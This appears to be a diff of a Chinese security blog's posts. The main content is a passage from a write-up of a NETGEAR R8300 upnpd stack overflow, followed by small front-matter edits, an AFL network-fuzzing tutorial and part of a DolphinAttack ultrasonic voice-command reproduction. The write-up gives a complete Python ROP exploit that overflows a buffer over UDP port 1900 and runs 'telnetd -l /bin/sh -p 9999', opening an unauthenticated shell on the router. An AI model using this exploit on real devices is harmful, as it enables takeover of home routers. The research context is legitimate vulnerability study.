Binary file ./lib/libldb.so.1 matches
Binary file ./lib/libsamba-modules-samba4.so matches
Binary file ./lib/libsqlite3.so.0 matches
grep: ./lib/modules/2.6.36.4brcmarm+: No such file or directory
$ readelf -a *./lib/libdl.so.**0* | grep dlsym
26: 000010f0 296 FUNC GLOBAL DEFAULT 7 dlsym
```
* 配置tmp/nvram.ini信息
接下来要做的就是根据上面的日志补全配置信息也可以参考https://github.com/zcutlip/nvram-faker/blob/master/nvram.ini。至于为什么这么设置可以查看对应的汇编代码逻辑配置的有问题的话很容易触发段错误
```shell
upnpd_debug_level=9
lan_ipaddr=192.168.2.2
hwver=R8500
friendly_name=R8300
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF
```
* 运行过程
```shell
# ./usr/sbin/upnpd
# /dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
# LD_PRELOAD="./nvram.so" ./usr/sbin/upnpd
# ./usr/sbin/upnpd: can't resolve symbol 'dlsym'
# LD_PRELOAD="./nvram.so ./lib/libdl.so.0" ./usr/sbin/upnpd
# [0x00026460] fopen('/var/run/upnpd.pid', 'wb+') = 0x00b19008
[0x0002648c] custom_nvram initialised
[0x76eb7cb8] *fopen**('/tmp/nvram.ini', 'r') = 0x00b19008*
[nvram 0] upnpd_debug_level = 9
[nvram 1] lan_ipaddr = 192.168.2.2
[nvram 2] hwver = R8500
[nvram 3] friendly_name = R8300
[nvram 4] upnp_enable = 1
[nvram 5] upnp_turn_on = 1
[nvram 6] upnp_advert_period = 30
[nvram 7] upnp_advert_ttl = 4
[nvram 8] upnp_portmap_entry = 1
[nvram 9] upnp_duration = 3600
[nvram 10] upnp_DHCPServerConfigurable = 1
[nvram 11] wps_is_upnp = 0
[nvram 12] upnp_sa_uuid = 00000000000000000000
[nvram 13] lan_hwaddr = AA:BB:CC:DD:EE:FF
[nvram 14] lan_hwaddr =
Read 15 entries from /tmp/nvram.ini
acosNvramConfig_get('upnpd_debug_level') = '9'
```
## 0x03 静态分析
该漏洞的原理是使用strcpy函数不当拷贝过长字符导致缓冲区溢出那么如何到达溢出位置。
首先upnpd服务在`sub_1D020()` 中使用`recvfrom()`从套接字接收UDP数据包并捕获数据发送源的地址。从函数定义可知upnpd接收了长度为0x1FFFF大小的数据到缓冲区v54
> **recvfrom** recvfrom函数(经socket接收数据):
> 函数原型:int recvfrom(SOCKET s,void ***buf**,int **len**,unsigned int flags, struct sockaddr *from,int *fromlen);
> 相关函数 recvrecvmsgsendsendtosocket
> 函数说明:[recv()](https://baike.baidu.com/item/recv%28%29)用来接收远程主机经指定的socket传来的数据,并把数据传到由参数buf指向的内存空间,参数len为可接收数据的最大长度.参数flags一般设0,其他数值定义参考recv().参数from用来指定欲传送的[网络地址](https://baike.baidu.com/item/%E7%BD%91%E7%BB%9C%E5%9C%B0%E5%9D%80),结构sockaddr请参考bind()函数.参数fromlen为sockaddr的结构长度.
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083882/netgear/image_29.png)
`sub_25E04()` 中调用 `strcpy()` 将以上数据拷贝到大小为 `0x634 - 0x58 = 0x5dc` 的 buffer。如果超过缓冲区大小数据就会覆盖栈底部分甚至返回地址。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083972/netgear/image_30.png)
```shell
+-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
s,ebp-0x58-->+-----------------+
| |
| buffer |
| |
| |
v40,ebp-0x634-->+-----------------+
```
## 0x04 动态调试
使用gdbserver调试目标程序https://res.cloudinary.com/dozyfkbg3/raw/upload/v1568965448/gdbserver
```
# ps|grep upnp
2714 0 3324 S ./usr/sbin/upnpd
2788 0 1296 S grep upnp
# ./gdbserver 127.0.0.1:12345 --attach 2714
Attached; pid = 2714
Listening on port 12345
```
工作机上使用跨平台试gdb-multiarch
`gdb-multiarch -x dbgscript`
dbgscript 内容
```shell
set architecture arm
gef-remote -q 192.168.2.1:12345
file usr/sbin/upnpd
set remote exec-file /usr/sbin/upnpd
```
直接构造溢出字符程序不会正常返回因为栈上存在一个v40的指针v51需要覆盖为有效地址才能正确返回。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083781/netgear/image_23.png)
```python
#!/usr/bin/python3
import socket
import struct
p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = (
0x634 * b'a' +
p32(0x43434343)
)
print(payload)
s.connect(('192.168.2.2', 1900))
s.send(payload)
s.close()
```
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083780/netgear/image_24.png)
```python
#!/usr/bin/python3
import socket
import struct
p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = (
0x604 * b'a' + # dummy
p32(0x7e2da53c) + # v51
(0x634 - 0x604 - 8) * b'a' + # dummy
p32(0x43434343) # LR
)
s.connect(('192.168.2.2', 1900))
s.send(payload)
s.close()
```
可以看到我们向返回地址发送的数据为0x43434343但最后PC寄存器的值为0x43434342最后一个bit变为0这是为什么https://blog.3or.de/arm-exploitation-defeating-dep-executing-mprotect.html
* 首先溢出覆盖了非叶函数的返回地址。一旦这个函数执行它的结束语来恢复保存的值保存的LR就被弹出到PC中返回给调用者。
* 其次关于最低有效位的一个注意事项BX指令将加载到PC的地址的LSB复制到CPSR寄存器的T状态位CPSR寄存器在ARM和Thumb模式之间切换ARMLSB=0/ThumbLSB=1
* 我们可以看到R7300是运行在THUMB状态
* 当处理器处于ARM状态时每条ARM指令为4个字节所以PC寄存器的值为当前指令地址 + 8字节
* 当处理器处于Thumb状态时每条Thumb指令为2字节所以PC寄存器的值为当前指令地址 + 4字节
* 因此保存的LR用0x43434343覆盖被弹出到PC中然后弹出地址的LSB被写入CPSR寄存器T位位5最后PC本身的LSB被设置为0从而产生0x43434342。
最后检查程序的缓解措施。程序本身开启了NX之前用过R7000的真机设备开了ASLR
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083780/netgear/image_25.png)
在堆栈恢复前下一个断点观察控制流转移情况将PC指针控制为重启指令。通过 hook 的日志可以看到ROP 利用链按照预期工作由于模拟环境的问题reboot 命令运行段错误了...
```shell
gef➤ b *0x00025F40
Breakpoint 1 at 0x25f40
.text:00025F40 ADD SP, SP, #0x234
.text:00025F44 ADD SP, SP, #0x400
.text:00025F48 LDMFD SP!, {R4-R11,PC}
**.****text****:****0003E9DC** **** LDR R0, =aReboot_0 ; "reboot"
.text:0003E9E0 BL system
**payload如下**
payload = (
0x604 * b'a' + # dummy
p32(0x76d9d450) + # v41
(0x634 - 0x604 - 8) * b'a' + # dummy
p32(0x0003E9DC) # system(reboot)
)
**固件模拟日志:**
ssdp_http_method_check(203):
ssdp_http_method_check(231):Http message error
Detaching from process 3477
rmmod: dhd.ko: No such file or directory
**reboot: rmmod dhd failed: No such file or directory**
**[0x0003e9e4] system('reboot') = 0**
```
综合目前的情况:
1. 目前可以控制`R4 - R11` 以及 `PC(R15)`寄存器
2. 开了 NX 不能用在栈上布置`shellcode`。
3. 有 ASLR不能泄漏地址不能使用各种 LIB 库中的符号和 `gadget`
4. `strcpy()` 函数导致的溢出payload 中不能包含 `\x00` 字符。
## 0x05 漏洞利用
路由器已启用ASLR缓解功能我们可以使用ROP攻击绕过该功能。但是我们通过使用对NULL字节敏感的**strcpy**来执行复制调用这反过来又会阻止我们使用ROP攻击。因此要利用包含NULL字节的地址我们将需要使用堆栈重用攻击。即想办法提前将 ROP payload 注入目标内存。(`stack reuse`
注意到recvfrom函数在接收 socket 数据时 buffer 未初始化利用内存未初始化问题我们可以向sub_1D020的堆栈中布置gadgets。构造如下 PoC每个 payload 前添加 `\x00` 防止程序崩溃strcpy遇到\x00截断不会拷贝后面部分
```python
#!/usr/bin/python3
import socket
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('192.168.2.2', 1900))
s.send(b'\x00' + b'A' * 0x1ff0)
s.send(b'\x00' + b'B' * 0x633)
s.close()
```
在strcpy下断点调试并检查栈区内存
```shell
gef➤ info b
Num Type Disp Enb Address What
1 breakpoint keep y 0x76dd6e48 <recvfrom+4>
2 breakpoint keep y 0x76dc350c <strcpy+4>
4 breakpoint keep y 0x00025e70
5 breakpoint keep y 0x00025e74
gef➤ search-pattern BBBB
[+] Searching 'BBBB' in memory
[+] In '/lib/libc.so.0'(0x76d85000-0x76dea000), permission=r-x
0x76de17e4 - 0x76de17e8 → "BBBB[...]"
0x76de1ecc - 0x76de1edb → "BBBBBBBBCCCCCCC"
0x76de1ed0 - 0x76de1edb → "BBBBCCCCCCC"
[+] In '[stack]'(0x7eb36000-0x7eb6f000), permission=rw-
**0x7eb6cc75** - 0x7eb6ccac → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"
0x7eb6cc79 - 0x7eb6ccb0 → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"
0x7eb6cc7d - 0x7eb6ccb4 → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"
0x7eb6cc81 - 0x7eb6ccb8 → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"
0x7eb6cc85 - 0x7eb6ccbc → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"
gef➤ x/s 0x7eb6cc75
0x7eb6cc75: 'B' <repeats 1587 times>
gef➤ x/s 0x7eb6cc75+1588
0x7eb6d2a9: 'A' <repeats 6588 times>
```
此时程序上下文为
```shell
gef➤ context
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────── registers ────
$r0 : 0x7eb6c5fc → 0x00000000
**$r1 : 0x7eb6cc74** → 0x42424200
$r2 : 0x1d
$r3 : 0x7eb6c5fc → 0x00000000
**$r4 : 0x7eb6cc74** → 0x42424200
$r5 : 0x0000cf02 → blx 0x10c6586
$r6 : 0x7eb6ecf4 → "192.168.2.1"
$r7 : 0x7eb6cc00 → 0x7eb6c5fc → 0x00000000
$r8 : 0x7eb6cc04 → 0x76f10020 → 0x00000000
$r9 : 0x3eaf
$r10 : 0x1
$r11 : 0x000c4584 → 0x00000005
$r12 : 0x00055450 → 0x76dc3508 → <strcpy+0> mov r3, r0
$sp : 0x7eb6c5d8 → "nnection:1"
$lr : 0x00025e74 → mov r0, r7
$pc : 0x76dc350c → <strcpy+4> ldrb r2, [r1], #1
$cpsr: [NEGATIVE zero carry overflow interrupt fast thumb]
───────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x7eb6c5d8│+0x0000: "nnection:1" ← $sp
0x7eb6c5dc│+0x0004: "tion:1"
0x7eb6c5e0│+0x0008: 0x0000313a (":1"?)
0x7eb6c5e4│+0x000c: 0x00000000
0x7eb6c5e8│+0x0010: 0x00000000
0x7eb6c5ec│+0x0014: 0x00000000
0x7eb6c5f0│+0x0018: 0x00000000
0x7eb6c5f4│+0x001c: 0x00000000
────────────────────────────────────────────────────────────────────────────────────────── code:arm:ARM ────
0x76dc3500 <strchrnul+24> bne 0x76dc34f0 <strchrnul+8>
0x76dc3504 <strchrnul+28> bx lr
0x76dc3508 <strcpy+0> mov r3, r0
→ 0x76dc350c <strcpy+4> ldrb r2, [r1], #1
0x76dc3510 <strcpy+8> cmp r2, #0
0x76dc3514 <strcpy+12> strb r2, [r3], #1
0x76dc3518 <strcpy+16> bne 0x76dc350c <strcpy+4>
0x76dc351c <strcpy+20> bx lr
0x76dc3520 <strcspn+0> push {r4, lr}
─────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "upnpd", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x76dc350c → strcpy()
[#1] 0x25e74 → mov r0, r7
────────────────────────────────────────────────────────────────────────────────────────────────────────────
```
由于接收 socket 数据的 buffer 未初始化,在劫持 PC 前我们可以往目标内存注入 6500 多字节的数据。 这么大的空间,也足以给 ROP 的 payload 一片容身之地。
使用 `strcpy` 调用在 bss 上拼接出命令字符串 `telnetd\x20-l/bin/sh\x20-p\x209999\x20&\x20\x00`,并调整 R0 指向这段内存,然后跳转 `system` 执行即可。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083780/netgear/image_26.png)
## **0x06 脚本使用说明**
|脚本帮助: |usage: python2 PSV-2020-0211.py 【路由器IP】 【任意libc有效地址】 |
|--- |--- |
|真实利用: |IP:192.168.2.2 Port:upnp/1900 |
||![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083779/netgear/image_27.png) |
```python
import socket
import time
import sys
from struct import pack
p32 = lambda x: pack("<L", x)
bssBase = 0x9E150 #string bss BASE Address
ip = '192.168.2.2'
libc_addr = 0x76d9d450
def banner():
a= """
# NETGEAR Nighthawk R8300 RCE Exploit upnpd, tested exploit fw version V1.0.2.130
# Date : 2020.03.09
# POC : system("telnetd -l /bin/sh -p 9999& ") Execute
# Desc : execute telnetd to access router
"""
print a
def makpayload2(libc_addr):
payload = (
0x604 * b'a' + # dummy
p32(int(libc_addr,16)) + # v51 Need to Existed Address
(0x634 - 0x604 - 8) * b'a' + # dummy
p32(0x000230f0) + # #change eip LR=0x000230f0
2509 * b'a'
"""
.text:000230F0 ADD SP, SP, #0x20C
.text:000230F4 ADD SP, SP, #0x1000
.text:000230F8 LDMFD SP!, {R4-R11,PC}
"""
)
print(len(payload))
return payload
def makpayload1():
expayload = ''
"""
.text:00013644 MOV R0, R10 ; dest
.text:00013648 MOV R1, R5 ; src
.text:0001364C BL strcpy
.text:00013650 MOV R0, R4
.text:00013654 ADD SP, SP, #0x5C ; '\'
.text:00013658 LDMFD SP!, {R4-R8,R10,PC}
"""
expayload += 'a' * 4550
expayload += p32(bssBase+3) # R4 Register
expayload += p32(0x3F340) # R5 Register //tel
expayload += 'IIII' # R6 Register
expayload += 'HHHH' # R7 Register
expayload += 'GGGG' # R8 Register
expayload += 'FFFF' # R9 Register
expayload += p32(bssBase) # R10 Register
expayload += 'BBBB' # R11 Register
expayload += p32(0x13644) # strcpy
expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+6) #R4
expayload += p32(0x423D7) #R5 //telnet
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy
expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+8) #R4
expayload += p32(0x40CA4 ) #R5 //telnetd\x20
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy
expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+10) #R4
expayload += p32(0x4704A) #R5 //telnetd\x20-l
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy
expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+11) #R4
expayload += p32(0x04C281) #R5 //telnetd\x20-l/bin/\x20
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy
expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+16) #R4
expayload += p32(0x40CEC) #R5 //telnetd\x20-l/bin/
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy
expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+18) #R4
expayload += p32(0x9CB5) #R5 //telnetd\x20-l/bin/sh
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy
expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+22) #R4
expayload += p32(0x41B17) #R5 //telnetd\x20-l/bin/sh\x20-p\x20
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy
expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+24) #R4
expayload += p32(0x03FFC4) #R5 //telnetd\x20-l/bin/sh\x20-p\x2099
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy
expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+26) #R4
expayload += p32(0x03FFC4) #R5 //telnetd\x20-l/bin/sh\x20-p\x209999
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy
expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+28) #R4
expayload += p32(0x4A01D) #R5 //telnetd\x20-l/bin/sh\x20-p\x209999\x20&
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy
expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+30) #R4
expayload += p32(0x461C1) #R5 //telnetd\x20-l/bin/sh\x20-p\x209999\x20&\x20\x00
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy
print "[*] Make Payload ..."
"""
.text:0001A83C MOV R0, R4 ; command
.text:0001A840 BL system
"""
expayload += 'd'*0x5c#dummy
expayload += p32(bssBase) #R4
expayload += p32(0x47398) #R5
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x1A83C) #system(string) telnetd -l
return expayload
def conn(ip):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((ip, 1900))
return s
print "[*] Send Proof Of Concept payload"
def checkExploit(ip):
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
ret = soc.connect((ip,9999))
return 1
except:
return 0
if __name__=="__main__":
ip = sys.argv[1]
libc_addr = sys.argv[2]
banner()
payload1 = makpayload1()
payload2 = makpayload2(libc_addr)
s = conn(ip)
s.send('a\x00'+payload1) #expayload is rop gadget
s.send(payload2)
time.sleep(5)
if checkExploit(ip):
print "[*] Exploit Success"
print "[*] You can access telnet %s 9999"%ip
else:
print "[*] Need to Existed Address cross each other"
print "[*] You need to reboot or execute upnpd daemon to execute upnpd"
print "[*] To exploit reexecute upnpd, description"
print "[*] Access http://%s/debug.htm and enable telnet"%ip
print "[*] then, You can access telnet. execute upnpd(just typing upnpd)"
s.close()
print """\n[*] Done ...\n"""
```

View File

@ -6,7 +6,6 @@ tags:
- 文件格式
categories:
- 二进制
description: 庖丁解牛.jpg
---
# PE文件格式

View File

@ -6,7 +6,6 @@ tags:
- Linux
- CTF
categories: Pwn
description: 我怎么还在start
---
# [Pwnable.tw](http://pwnable.tw/) start

View File

@ -7,7 +7,6 @@ tags:
- CVE
categories:
- IOT
description: Samba漏洞臭名昭著
---
# 漏洞描述

View File

@ -6,8 +6,8 @@ tags:
- 拒绝服务攻击
categories:
- 二进制
description: TCPDUMP 4.5.1 拒绝服务攻击漏洞分析
---
# TCPDUMP 4.5.1 拒绝服务攻击漏洞分析
## Tcpdump介绍
1. tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中tcpdump 需要使用libpcap这个捕捉数据的库。其在Windows下的版本称为WinDump它需要WinPcap驱动相当于在Linux平台下的libpcap.

View File

@ -6,7 +6,6 @@ tags:
- 路由器
- MiniUPnP
categories: IOT
description: 非常经典的UPnPClassic~
---
# 概述

View File

@ -5,10 +5,9 @@ tags:
- AFL
- 模糊测试
categories: 二进制
description: 这篇文章是对afl的简单使用可大致分为黑盒测试和白盒测试两个部分。白盒测试从对目标程序的插桩编译开始然后使用fuzzer对其模糊测试发现崩溃最后对测试的代码覆盖率进行评估。黑盒测试则演示得较简略。
---
这篇文章是对afl的简单使用可大致分为黑盒测试和白盒测试两个部分。白盒测试从对目标程序的插桩编译开始然后使用fuzzer对其模糊测试发现崩溃最后对测试的代码覆盖率进行评估。黑盒测试则演示得较简略。
参考https://paper.seebug.org/841/#_1
**部署afl**

View File

@ -1,71 +0,0 @@
---
title: 利用AFL黑盒测试网络协议
date: 2021-05-20 19:26:35
tags:
- 模糊测试
categories:
- IOT
description: 做对比实验用的小工具在拿不到固件的情况下可以用AFL的变异策略尝试fuzz
---
源码https://github.com/Cool-Y/aflnw_blackbox
AFL是基于变异的模糊测试方法的代表工作其主要应用于非结构化数据处理程序的漏洞挖掘中。但使用AFL具有比较多的限制
1. 本地运行被测程序,从而获取覆盖率等反馈信息
2. 被测程序从基本输入输出获取数据
因此无法直接使用AFL对远程服务进行黑盒测试
## 现有工作
目前针对限制2已经有一些解决方案
1. hook socket调用利用 `preeny`库辅助AFLplusplus
1. https://www.cnblogs.com/hac425/p/9416917.html
2. https://github.com/AFLplusplus/AFLplusplus/tree/stable/utils/socket_fuzzing
2. 修改AFL传递数据的方式AFLNet: A Greybox Fuzzer for Network Protocolsaflnet在AFL的基础上将标准输入修改为网络发包的方式
1. https://github.com/aflnet/aflnet
2. https://www.comp.nus.edu.sg/~abhik/pdf/AFLNet-ICST20.pdf
3. 修改网络程序接收数据的方式bind9的代码中专门提供了用于Fuzz的部分。
1. https://github.com/isc-projects/bind9/tree/main/fuzz
4. 利用AFL Persistent Mode
1. https://www.fastly.com/blog/how-fuzz-server-american-fuzzy-lop
2. https://sensepost.com/blog/2017/fuzzing-apache-httpd-server-with-american-fuzzy-lop-%2B-persistent-mode/
5. 利用辅助程序转发AFL的输入
1. https://github.com/LyleMi/aflnw/blob/main/README.zh-cn.md
但是如果无法将程序放在本地运行比如物联网设备在拿不到固件的情况下如何利用AFL的变异方式进行模糊测试。
## 黑盒方案
在aflnw的基础上对辅助程序的工作方式进行了修改从而实现在不对AFL和被测程序进行修改的条件下使用一个辅助程序接收AFL从标准输入传递进来的数据然后通过网络转发给UPnP服务辅助程序会间隔性地与UPnP端口建立TCP连接从而判断测试用例是否导致程序崩溃。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1621510535/ufuzzer/image_33.png)
## 如何安装
```
git clone https://github.com/LyleMi/aflnw.gitcd aflnw
export CC=/path/to/afl/afl-clang-fast
mkdir build && cd build && cmake .. && make
```
## 如何使用
1. 使用wireshark采集种子输入Follow→TCP Stream保存为raw文件
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1621510534/ufuzzer/image_35.png)
2. 确定通信协议udp/tcp、服务端监控地址、服务端监控端口、socket本地绑定地址
3. fuzz以UPnP协议为例
```
afl-fuzz -t 1000+ -i ./soap_input/ -o ./soap_out/ -- ./build/aflnw -a 192.168.2.2 -p 5000 -m tcp
afl-fuzz -t 2000+ -i ./ssdp_input/ -o ./ssdp_out/ -- ./build/aflnw -a 239.255.255.250 -p 1900 -m udp
```
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1621510535/ufuzzer/image_34.png)
4. 崩溃重放
```
./build/aflnw -a 239.255.255.250 -p 1900 -m udp < soap_out/crashes/id:00000....
./build/aflnw -a 192.168.2.2 -p 5000 -m tcp < ssdp_out/crashes/id:000000.....
```
## 问题
效率很低

View File

@ -6,7 +6,6 @@ tags:
- 微信
categories:
- 杂七杂八
description: 看了这篇文章,女朋友还会问你为什么不给她发微信吗?
---
我们实验室有个光荣传统每天早上起床叫醒我的不是闹钟而是群里雷打不动的安全新闻其实我免提醒了2333
而这个发送新闻的人一代一代的传承我没想到竟然有一天会落在我头上哭了o(╥﹏╥)o

View File

@ -7,8 +7,9 @@ tags:
- phishing email
categories:
- 杂七杂八
description: 研一的时候参加了第一届datacon可惜因为课程任务太重了最后连答案都没提交。今年和研一两位师弟师妹组队参加本以为又要躺过去了最后被两位的热情感染完成了比赛还取得不错的成绩也算是完成了研究生阶段的一个小遗憾。我之前没做过数据分析也没接触过邮件安全借这次赛题好好的补了一课第一题是识别发件人伪造第二题是垃圾邮件分类第三题是识别威胁邮件全部是真实数据难度层层递进。
---
研一的时候参加了第一届datacon可惜因为课程任务太重了最后连答案都没提交。今年和研一两位师弟师妹组队参加本以为又要躺过去了最后被两位的热情感染完成了比赛还取得不错的成绩也算是完成了研究生阶段的一个小遗憾。
我之前没做过数据分析也没接触过邮件安全,借这次赛题好好的补了一课,第一题是识别发件人伪造,第二题是垃圾邮件分类,第三题是识别威胁邮件,全部是真实数据,难度层层递进。
## 赛题理解

View File

@ -1,110 +0,0 @@
---
title: Dolphin Attack 论文复现
date: 2021-01-08 12:54:41
tags:
- 硬件攻击
- 传感器
- 语音助手
categories:
- 顶会论文
description: 眼前一亮的工作!海豚音攻击,试着复现看看(贫穷版)
---
# 海豚音攻击-复现
文章中提到两种方案,一是具有信号发生器的强大变送器,二是带有智能手机的便携式变送器;前一种方案成本过于高,本文不做分析,后一种方案的实现成本在我们可接收的范围。
但原文中对后一方案的实现没有太多介绍,于是我通过邮件咨询了作者-闫琛博士,闫博士非常友好,我是在晚上十点发送的第一封邮件,差不多在十分钟内通过几封邮件的交流,解决了我的问题,很快确定了我的具体实现路径,非常感谢大佬!
* Q: 使用便携式设备攻击的时候三星Galaxy S6 Edge发送的高频声音信号是怎么生成的呢是预先使用专业设备调制好的信号保存为mp3吗
* A: 通过软件调制,生成.wav的超声波音频文件再通过三星手机播放的。
* Q: 用的是什么软件进行调制?
* A: 用过matlab和python都是可以的
## 0x01 语音命令生成
https://ttstool.com/
微软的TTS接口生成的是mp3格式音频一般来说我们使用python处理音频都是针对wav格式。
https://www.aconvert.com/cn/audio/mp3-to-wav/
我们可以通过这个网站对格式做转换。
[xiaoyi.wav](https://coolyim.quip.com/-/blob/OVVAAAmjZcr/Eq9qXdQ7_eD5KQaR33wCCw?name=xiaoyi.wav)
这个网站的采样率最高只能达到96000hz
[6wxmu-crusr.wav](https://coolyim.quip.com/-/blob/OVVAAAmjZcr/aZfltfEV_ZxV1LCGznB1OA?name=6wxmu-crusr.wav)
## 0x02 语音命令调制
生成语音命令的基带信号后,我们需要在超声载波上对其进行调制,以使它们听不到。 为了利用麦克风的非线性DolphinAttack必须利用幅度调制AM
### AM调制原理
使载波的振幅按照所需传送信号的变化规律而变化但频率保持不变的调制方法。调幅在有线电或无线电通信和广播中应用甚广。调幅是高频载波的振幅随信号改变的调制AM。其中载波信号的振幅随着调制信号的某种特征的变换而变化。例如0或1分别对应于无载波或有载波输出电视的图像信号使用调幅。调频的抗干扰能力强失真小但服务半径小。
假设载波uc(t)和调制信号的频率分别为ωc和Ω在已调波中包含三个频率成分ωc、ωc+Ω和ωc-Ω。ωc+Ω称为上边频ωc-Ω称为下边频。
https://epxx.co/artigos/ammodulation.html
http://www.chenjianqu.com/show-44.html
https://zhuanlan.zhihu.com/p/54561504
http://www.mwhitelab.com/archives/208
### 使用python调制
现在我们已经有了基带信号,使用[Audacity](https://www.fosshub.com/Audacity.html)对其进行频谱分析此语音的带宽或频谱左图为采样频率48khz音频右图为96khz
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610082052/Dolphin%20Attack/08_YW7UW_PS_TOE_LZZY.png)
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610082052/Dolphin%20Attack/WGD_U453KYP3M3_2639_5I.png)
我们可以看到带宽为8000-9000hz左右这是女声因此频带范围较宽。这可能导致可听范围内的频率泄露但这里我们先不去讨论之后再使用带宽较小的语音以创建基带语音信号。
wave包最多能读取的wav音频采样率为[48khz](https://github.com/jiaaro/pydub/issues/134)当超过这个值时wave就不再支持wave.Error: unknown format: 65534。但我们的载波频率为30khz左右这就要求音频文件的采样率高于60khz才能保证不失真。所幸[`scipy.io.wavfile`](https://kite.com/python/docs/scipy.io.wavfile)支持高于48khz的wav文件读取。
使用以下Python程序来生成调制的AM和AM-SC音频AM是广播无线电调制的“正常”声音它加上了载波AM-SC则只是载波与原始信号的乘积。
```python
# coding=utf-8
import numpy as np
import matplotlib.pyplot as plt
import os
import wave
import struct
import math
from pydub import AudioSegment
import scipy.io.wavfile
def main():
test = scipy.io.wavfile.read("xiaoyi.wav")
nframes = len(test[1])
waveData = np.fromstring(test[1],dtype=np.short)#将原始字符数据转换为整数
#音频数据归一化
maxW = max(abs(waveData))
waveData = waveData * 1.0/maxW
#将音频信号规整乘每行一路通道信号的格式即该矩阵一行为一个通道的采样点共nchannels行
Tdata = np.reshape(waveData,[nframes,1]).T # .T 表示转置
am = wave.open("am.wav", "w")
amsc = wave.open("amsc.wav", "w")
carrier = wave.open("carrier3000.wav", "w")
for f in [am,amsc,carrier]:
f.setnchannels(1)
f.setsampwidth(2)
f.setframerate(96000)
for n in range(0, nframes):
carrier_sample = math.cos(30000.0 * (n / 96000.0) * math.pi * 2)
